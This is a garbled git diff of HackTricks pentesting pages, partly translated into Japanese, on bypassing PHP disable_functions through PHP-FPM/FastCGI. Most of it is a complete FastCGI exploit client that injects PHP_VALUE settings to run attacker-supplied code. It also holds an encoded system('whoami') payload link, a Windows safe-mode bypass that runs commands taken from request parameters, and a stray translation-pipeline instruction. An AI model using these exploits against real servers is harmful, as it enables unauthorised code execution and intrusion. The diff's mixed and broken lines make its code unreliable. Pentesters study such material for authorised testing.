example**]\([http://icyberchef.com/#recipe=URL\_Decode%28%29To\_Base64%28'A-Za-z0-9%2B/%3D'%29\&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNweUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw](http://icyberchef.com/#recipe=URL\_Decode%28%29To\_Base64%28'A-Za-z0-9%2B/%3D'%29\&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNweUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw)). And then copy/pasting the abse64 in this php code: - +次に、urlエンコードされたペイロードを取得し、デコードしてbase64に変換します。例えば、\[**このサイバーシェフのレシピを使用して**]\([http://icyberchef.com/#recipe=URL\_Decode%28%29To\_Base64%28'A-Za-z0-9%2B/%3D'%29\&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNweUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw](http://icyberchef.com/#recipe=URL\_Decode%28%29To\_Base64%28'A-Za-z0-9%2B/%3D'%29\&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNweUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw))。そして、このphpコードにbase64をコピー/貼り付けします: ```php - * @version 1.0 - */ +* Handles communication with a FastCGI application +* +* @author Pierrick Charron +* @version 1.0 +*/ class FCGIClient { - const VERSION_1 = 1; - const BEGIN_REQUEST = 1; - const ABORT_REQUEST = 2; - const END_REQUEST = 3; - const PARAMS = 4; - const STDIN = 5; - const STDOUT = 6; - const STDERR = 7; - const DATA = 8; - const GET_VALUES = 9; - const GET_VALUES_RESULT = 10; - const UNKNOWN_TYPE = 11; - const MAXTYPE = self::UNKNOWN_TYPE; - const RESPONDER = 1; - const AUTHORIZER = 2; - const FILTER = 3; - const REQUEST_COMPLETE = 0; - const CANT_MPX_CONN = 1; - const OVERLOADED = 2; - const UNKNOWN_ROLE = 3; - const MAX_CONNS = 'MAX_CONNS'; - const MAX_REQS = 'MAX_REQS'; - const MPXS_CONNS = 'MPXS_CONNS'; - const HEADER_LEN = 8; - /** - * Socket - * @var Resource - */ - private $_sock = null; - /** - * Host - * @var String - */ - private $_host = null; - /** - * Port - * @var Integer - */ - private $_port = null; - /** - * Keep Alive - * @var Boolean - */ - private $_keepAlive = false; - /** - * Constructor - * - * @param String $host Host of the FastCGI application - * @param Integer $port Port of the FastCGI application - */ - public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket - { - $this->_host = $host; - $this->_port = $port; - } - /** - * Define whether or not the FastCGI application should keep the connection - * alive at the end of a request - * - * @param Boolean $b true if the connection should stay alive, false otherwise - */ - public function setKeepAlive($b) - { - $this->_keepAlive = (boolean)$b; - if (!$this->_keepAlive && $this->_sock) { - fclose($this->_sock); - } - } - /** - * Get the keep alive status - * - * @return Boolean true if the connection should stay alive, false otherwise - */ - public function getKeepAlive() - { - return $this->_keepAlive; - } - /** - * Create a connection to the FastCGI application - */ - private function connect() - { - if (!$this->_sock) { - //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5); - $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5); - if (!$this->_sock) { - throw new Exception('Unable to connect to FastCGI application'); - } - } - } - /** - * Build a FastCGI packet - * - * @param Integer $type Type of the packet - * @param String $content Content of the packet - * @param Integer $requestId RequestId - */ - private function buildPacket($type, $content, $requestId = 1) - { - $clen = strlen($content); - return chr(self::VERSION_1) /* version */ - . chr($type) /* type */ - . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */ - . chr($requestId & 0xFF) /* requestIdB0 */ - . chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */ - . chr($clen & 0xFF) /* contentLengthB0 */ - . chr(0) /* paddingLength */ - . chr(0) /* reserved */ - . $content; /* content */ - } - /** - * Build an FastCGI Name value pair - * - * @param String $name Name - * @param String $value Value - * @return String FastCGI Name value pair - */ - private function buildNvpair($name, $value) - { - $nlen = strlen($name); - $vlen = strlen($value); - if ($nlen < 128) { - /* nameLengthB0 */ - $nvpair = chr($nlen); - } else { - /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */ - $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF); - } - if ($vlen < 128) { - /* valueLengthB0 */ - $nvpair .= chr($vlen); - } else { - /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */ - $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF); - } - /* nameData & valueData */ - return $nvpair . $name . $value; - } - /** - * Read a set of FastCGI Name value pairs - * - * @param String $data Data containing the set of FastCGI NVPair - * @return array of NVPair - */ - private function readNvpair($data, $length = null) - { - $array = array(); - if ($length === null) { - $length = strlen($data); - } - $p = 0; - while ($p != $length) { - $nlen = ord($data{$p++}); - if ($nlen >= 128) { - $nlen = ($nlen & 0x7F << 24); - $nlen |= (ord($data{$p++}) << 16); - $nlen |= (ord($data{$p++}) << 8); - $nlen |= (ord($data{$p++})); - } - $vlen = ord($data{$p++}); - if ($vlen >= 128) { - $vlen = ($nlen & 0x7F << 24); - $vlen |= (ord($data{$p++}) << 16); - $vlen |= (ord($data{$p++}) << 8); - $vlen |= (ord($data{$p++})); - } - $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen); - $p += ($nlen + $vlen); - } - return $array; - } - /** - * Decode a FastCGI Packet - * - * @param String $data String containing all the packet - * @return array - */ - private function decodePacketHeader($data) - { - $ret = array(); - $ret['version'] = ord($data{0}); - $ret['type'] = ord($data{1}); - $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3}); - $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5}); - $ret['paddingLength'] = ord($data{6}); - $ret['reserved'] = ord($data{7}); - return $ret; - } - /** - * Read a FastCGI Packet - * - * @return array - */ - private function readPacket() - { - if ($packet = fread($this->_sock, self::HEADER_LEN)) { - $resp = $this->decodePacketHeader($packet); - $resp['content'] = ''; - if ($resp['contentLength']) { - $len = $resp['contentLength']; - while ($len && $buf=fread($this->_sock, $len)) { - $len -= strlen($buf); - $resp['content'] .= $buf; - } - } - if ($resp['paddingLength']) { - $buf=fread($this->_sock, $resp['paddingLength']); - } - return $resp; - } else { - return false; - } - } - /** - * Get Informations on the FastCGI application - * - * @param array $requestedInfo information to retrieve - * @return array - */ - public function getValues(array $requestedInfo) - { - $this->connect(); - $request = ''; - foreach ($requestedInfo as $info) { - $request .= $this->buildNvpair($info, ''); - } - fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0)); - $resp = $this->readPacket(); - if ($resp['type'] == self::GET_VALUES_RESULT) { - return $this->readNvpair($resp['content'], $resp['length']); - } else { - throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT'); - } - } - /** - * Execute a request to the FastCGI application - * - * @param array $params Array of parameters - * @param String $stdin Content - * @return String - */ - public function request(array $params, $stdin) - { - $response = ''; - $this->connect(); - $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5)); - $paramsRequest = ''; - foreach ($params as $key => $value) { - $paramsRequest .= $this->buildNvpair($key, $value); - } - if ($paramsRequest) { - $request .= $this->buildPacket(self::PARAMS, $paramsRequest); - } - $request .= $this->buildPacket(self::PARAMS, ''); - if ($stdin) { - $request .= $this->buildPacket(self::STDIN, $stdin); - } - $request .= $this->buildPacket(self::STDIN, ''); - fwrite($this->_sock, $request); - do { - $resp = $this->readPacket(); - if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) { - $response .= $resp['content']; - } - } while ($resp && $resp['type'] != self::END_REQUEST); - var_dump($resp); - if (!is_array($resp)) { - throw new Exception('Bad request'); - } - switch (ord($resp['content']{4})) { - case self::CANT_MPX_CONN: - throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]'); - break; - case self::OVERLOADED: - throw new Exception('New request rejected; too busy [OVERLOADED]'); - break; - case self::UNKNOWN_ROLE: - throw new Exception('Role value not known [UNKNOWN_ROLE]'); - break; - case self::REQUEST_COMPLETE: - return $response; - } - } +const VERSION_1 = 1; +const BEGIN_REQUEST = 1; +const ABORT_REQUEST = 2; +const END_REQUEST = 3; +const PARAMS = 4; +const STDIN = 5; +const STDOUT = 6; +const STDERR = 7; +const DATA = 8; +const GET_VALUES = 9; +const GET_VALUES_RESULT = 10; +const UNKNOWN_TYPE = 11; +const MAXTYPE = self::UNKNOWN_TYPE; +const RESPONDER = 1; +const AUTHORIZER = 2; +const FILTER = 3; +const REQUEST_COMPLETE = 0; +const CANT_MPX_CONN = 1; +const OVERLOADED = 2; +const UNKNOWN_ROLE = 3; +const MAX_CONNS = 'MAX_CONNS'; +const MAX_REQS = 'MAX_REQS'; +const MPXS_CONNS = 'MPXS_CONNS'; +const HEADER_LEN = 8; +/** +* Socket +* @var Resource +*/ +private $_sock = null; +/** +* Host +* @var String +*/ +private $_host = null; +/** +* Port +* @var Integer +*/ +private $_port = null; +/** +* Keep Alive +* @var Boolean +*/ +private $_keepAlive = false; +/** +* Constructor +* +* @param String $host Host of the FastCGI application +* @param Integer $port Port of the FastCGI application +*/ +public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket +{ +$this->_host = $host; +$this->_port = $port; +} +/** +* Define whether or not the FastCGI application should keep the connection +* alive at the end of a request +* +* @param Boolean $b true if the connection should stay alive, false otherwise +*/ +public function setKeepAlive($b) +{ +$this->_keepAlive = (boolean)$b; +if (!$this->_keepAlive && $this->_sock) { +fclose($this->_sock); +} +} +/** +* Get the keep alive status +* +* @return Boolean true if the connection should stay alive, false otherwise +*/ +public function getKeepAlive() +{ +return $this->_keepAlive; +} +/** +* Create a connection to the FastCGI application +*/ +private function connect() +{ +if (!$this->_sock) { +//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5); +$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5); +if (!$this->_sock) { +throw new Exception('Unable to connect to FastCGI application'); +} +} +} +/** +* Build a FastCGI packet +* +* @param Integer $type Type of the packet +* @param String $content Content of the packet +* @param Integer $requestId RequestId +*/ +private function buildPacket($type, $content, $requestId = 1) +{ +$clen = strlen($content); +return chr(self::VERSION_1) /* version */ +. chr($type) /* type */ +. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */ +. chr($requestId & 0xFF) /* requestIdB0 */ +. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */ +. chr($clen & 0xFF) /* contentLengthB0 */ +. chr(0) /* paddingLength */ +. chr(0) /* reserved */ +. $content; /* content */ +} +/** +* Build an FastCGI Name value pair +* +* @param String $name Name +* @param String $value Value +* @return String FastCGI Name value pair +*/ +private function buildNvpair($name, $value) +{ +$nlen = strlen($name); +$vlen = strlen($value); +if ($nlen < 128) { +/* nameLengthB0 */ +$nvpair = chr($nlen); +} else { +/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */ +$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF); +} +if ($vlen < 128) { +/* valueLengthB0 */ +$nvpair .= chr($vlen); +} else { +/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */ +$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF); +} +/* nameData & valueData */ +return $nvpair . $name . $value; +} +/** +* Read a set of FastCGI Name value pairs +* +* @param String $data Data containing the set of FastCGI NVPair +* @return array of NVPair +*/ +private function readNvpair($data, $length = null) +{ +$array = array(); +if ($length === null) { +$length = strlen($data); +} +$p = 0; +while ($p != $length) { +$nlen = ord($data{$p++}); +if ($nlen >= 128) { +$nlen = ($nlen & 0x7F << 24); +$nlen |= (ord($data{$p++}) << 16); +$nlen |= (ord($data{$p++}) << 8); +$nlen |= (ord($data{$p++})); +} +$vlen = ord($data{$p++}); +if ($vlen >= 128) { +$vlen = ($nlen & 0x7F << 24); +$vlen |= (ord($data{$p++}) << 16); +$vlen |= (ord($data{$p++}) << 8); +$vlen |= (ord($data{$p++})); +} +$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen); +$p += ($nlen + $vlen); +} +return $array; +} +/** +* Decode a FastCGI Packet +* +* @param String $data String containing all the packet +* @return array +*/ +private function decodePacketHeader($data) +{ +$ret = array(); +$ret['version'] = ord($data{0}); +$ret['type'] = ord($data{1}); +$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3}); +$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5}); +$ret['paddingLength'] = ord($data{6}); +$ret['reserved'] = ord($data{7}); +return $ret; +} +/** +* Read a FastCGI Packet +* +* @return array +*/ +private function readPacket() +{ +if ($packet = fread($this->_sock, self::HEADER_LEN)) { +$resp = $this->decodePacketHeader($packet); +$resp['content'] = ''; +if ($resp['contentLength']) { +$len = $resp['contentLength']; +```php +while ($len && $buf=fread($this->_sock, $len)) { +$len -= strlen($buf); +$resp['content'] .= $buf; +} +} +if ($resp['paddingLength']) { +$buf=fread($this->_sock, $resp['paddingLength']); +} +return $resp; +} else { +return false; +} +} +/** +* FastCGIアプリケーションの情報を取得する +* +* @param array $requestedInfo 取得する情報 +* @return array +*/ +public function getValues(array $requestedInfo) +{ +$this->connect(); +$request = ''; +foreach ($requestedInfo as $info) { +$request .= $this->buildNvpair($info, ''); +} +fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0)); +$resp = $this->readPacket(); +if ($resp['type'] == self::GET_VALUES_RESULT) { +return $this->readNvpair($resp['content'], $resp['length']); +} else { +throw new Exception('予期しない応答タイプです。GET_VALUES_RESULTを予期しています'); +} +} +/** +* FastCGIアプリケーションにリクエストを実行する +* +* @param array $params パラメータの配列 +* @param String $stdin コンテンツ +* @return String +*/ +public function request(array $params, $stdin) +{ +$response = ''; +$this->connect(); +$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5)); +$paramsRequest = ''; +foreach ($params as $key => $value) { +$paramsRequest .= $this->buildNvpair($key, $value); +} +if ($paramsRequest) { +$request .= $this->buildPacket(self::PARAMS, $paramsRequest); +} +$request .= $this->buildPacket(self::PARAMS, ''); +if ($stdin) { +$request .= $this->buildPacket(self::STDIN, $stdin); +} +$request .= $this->buildPacket(self::STDIN, ''); +fwrite($this->_sock, $request); +do { +$resp = $this->readPacket(); +if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) { +$response .= $resp['content']; +} +} while ($resp && $resp['type'] != self::END_REQUEST); +var_dump($resp); +if (!is_array($resp)) { +throw new Exception('不正なリクエストです'); +} +switch (ord($resp['content']{4})) { +case self::CANT_MPX_CONN: +throw new Exception('このアプリはマルチプレックスできません [CANT_MPX_CONN]'); +break; +case self::OVERLOADED: +throw new Exception('新しいリクエストが拒否されました。ビジー状態です [OVERLOADED]'); +break; +case self::UNKNOWN_ROLE: +throw new Exception('不明なロール値です [UNKNOWN_ROLE]'); +break; +case self::REQUEST_COMPLETE: +return $response; +} +} } ?> "; // php payload -- Doesnt do anything +$code = ""; // phpペイロード -- 何も実行しません $php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input"; //$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php"; $params = array( - 'GATEWAY_INTERFACE' => 'FastCGI/1.0', - 'REQUEST_METHOD' => 'POST', - 'SCRIPT_FILENAME' => $filepath, - 'SCRIPT_NAME' => $req, - 'QUERY_STRING' => 'command='.$_REQUEST['cmd'], - 'REQUEST_URI' => $uri, - 'DOCUMENT_URI' => $req, +'GATEWAY_INTERFACE' => 'FastCGI/1.0', +'REQUEST_METHOD' => 'POST', +'SCRIPT_FILENAME' => $filepath, +'SCRIPT_NAME' => $req, +'QUERY_STRING' => 'command='.$_REQUEST['cmd'], +'REQUEST_URI' => $uri, +'DOCUMENT_URI' => $req, #'DOCUMENT_ROOT' => '/', - 'PHP_VALUE' => $php_value, - 'SERVER_SOFTWARE' => '80sec/wofeiwo', - 'REMOTE_ADDR' => '127.0.0.1', - 'REMOTE_PORT' => '9985', - 'SERVER_ADDR' => '127.0.0.1', - 'SERVER_PORT' => '80', - 'SERVER_NAME' => 'localhost', - 'SERVER_PROTOCOL' => 'HTTP/1.1', - 'CONTENT_LENGTH' => strlen($code) - ); +'PHP_VALUE' => $php_value, +'SERVER_SOFTWARE' => '80sec/wofeiwo', +'REMOTE_ADDR' => '127.0.0.1', +'REMOTE_PORT' => '9985', +'SERVER_ADDR' => '127.0.0.1', +'SERVER_PORT' => '80', +'SERVER_NAME' => 'localhost', +'SERVER_PROTOCOL' => 'HTTP/1.1', +'CONTENT_LENGTH' => strlen($code) +); // print_r($_REQUEST); // print_r($params); //echo "Call: $uri\n\n"; echo $client->request($params, $code)."\n"; ?> ``` - -Code from [here](https://balsn.tw/ctf\_writeup/20190323-0ctf\_tctf2019quals/#wallbreaker-easy). - -Using the previous function you will see that the function **`system`** is **still disabled** but **`phpinfo()`** shows a **`disable_functions`** **empty**: - -![](<../../../../.gitbook/assets/image (352).png>) - -![](<../../../../.gitbook/assets/image (353).png>) - -**So, I think that you can only set `disable_functions` via php `.ini` config files and the PHP\_VALUE won't override that setting.** - -### [**FuckFastGCI**](https://github.com/w181496/FuckFastcgi) - -This is a php script to exploit fastcgi protocol to bypass `open_basedir` and `disable_functions`.\ -It will help you to bypass strict `disable_functions` to RCE by loading the malicious extension.\ -You can access it here: [https://github.com/w181496/FuckFastcgi](https://github.com/w181496/FuckFastcgi) or a sligtly modified and improved version here: [https://github.com/BorelEnzo/FuckFastcgi](https://github.com/BorelEnzo/FuckFastcgi) - -You will find that the exploit is very similar to the previous code, but instead of trying to bypass `disable_functions` using PHP\_VALUE, it tries to **load an external PHP module** to execute code using the parameters `extension_dir` and `extension` inside the variable `PHP_ADMIN_VALUE`.\ -**NOTE1**: You probably will need to **recompile** the extension with the **same PHP version that the server** is using (you can check it inside the output of phpinfo): - -![](<../../../../.gitbook/assets/image (354).png>) - -{% hint style="danger" %} -**NOTE2**: I managed to make this work by inserting the `extension_dir` and `extension` values inside a PHP `.ini` config file (something that you won't be able to do attacking a server). But for some reason, when using this exploit and loading the extension from the `PHP_ADMIN_VALUE` variable the process just died, so I don't know if this technique is still valid. -{% endhint %} - -### PHP-FPM Remote Code Execution Vulnerability (CVE-2019–11043) - -You can exploit this vulnerability with [**phuip-fpizdam**](https://github.com/neex/phuip-fpizdam) and test is using this docker environment: [https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043](https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043).\ -You can also find an analysis of the vulnerability [**here**](https://medium.com/@knownsec404team/php-fpm-remote-code-execution-vulnerability-cve-2019-11043-analysis-35fd605dd2dc)**.** - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
+以下は、ハッキングテクニックに関する本からのコンテンツです。以下のコンテンツは、ファイル/hive/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.mdからのものです。関連する英語のテキストを日本語に翻訳し、翻訳を返し、マークダウンとHTMLの構文を完全に保持してください。コード、ハッキングテクニックの名前、ハッキングの単語、クラウド/SaaSプラットフォームの名前(Workspace、aws、gcpなど)、'leak'という単語、ペンテスト、およびマークダウンタグなどのものは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加のものは追加しないでください。 diff --git a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-less-than-5.2.9-on-windows.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-less-than-5.2.9-on-windows.md index 65fb5ef5a..8fa535eca 100644 --- a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-less-than-5.2.9-on-windows.md +++ b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-less-than-5.2.9-on-windows.md @@ -1,18 +1,16 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
@@ -27,42 +25,42 @@ From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog abysssec.txt"."\r\n"); - fwrite($batch,"exit"); - fclose($batch); - exec("\start cmd.bat"); - echo "
"; - echo "

Abysssec.com PHP <= 5.2.9 SafeMod Bypasser

"; - echo ""; - echo "
"; - } +$cmd = $_REQUEST['cmd']; +if ($cmd){ +$batch = fopen ("cmd.bat","w"); +fwrite($batch,"$cmd>abysssec.txt"."\r\n"); +fwrite($batch,"exit"); +fclose($batch); +exec("\start cmd.bat"); +echo "
"; +echo "

